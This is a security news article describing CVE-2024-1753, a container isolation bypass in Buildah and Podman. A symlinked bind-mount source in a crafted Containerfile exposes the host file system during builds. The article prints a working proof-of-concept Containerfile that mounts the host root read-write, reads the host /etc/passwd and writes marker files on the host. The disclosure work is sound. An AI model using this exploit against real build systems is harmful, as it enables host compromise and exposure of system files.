Buildah and Podman vulnerable to container isolation bypass

In packages Buildah And Podman identified vulnerability (CVE-2024-1753), which allows you to gain full access to the file system of the host environment at the stage of building a container run with root rights. On systems with SELinux enabled, access to the host file system is limited to read-only mode. The fix is ​​currently available as patch

The vulnerability is caused by the fact that when mounting parts of the file system using the “mount –bind” command during the build at the RUN stage, the argument with the source directory (the “source” parameter) is not checked to see if it exists in the root file system. A Containerfile configuration file designed by an attacker can use a container image in which the source mount directory is formatted as a symbolic link to the root file system. In this case, the mount operation will lead to mounting the root file system of the host environment inside the container, which will allow you to gain full access to the file system of the host environment at the RUN stage and organize exit from the container at the build stage using the “buildah build” or “podman build” commands.

An example of a malicious Containerfile, built with the command “podman build -f ~/Containerfile .” will cause the contents of /etc/passwd to be displayed and the files /BIND_BREAKEOUT and /etc/BIND_BREAKOUT2 to be created in the host environment:

 FROM alpine as base RUN ln -s / /rootdir RUN ln -s /etc /etc2 FROM alpine RUN echo "ls container root" RUN ls -l / RUN echo "With exploit show host root, not the container's root, and create /BIND_BREAKOUT in / on the host" RUN --mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit RUN echo "With exploit show host /etc/passwd, not the container's, and create /BIND_BREAKOUT2 in /etc on the host" RUN --mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2 

Thanks for reading: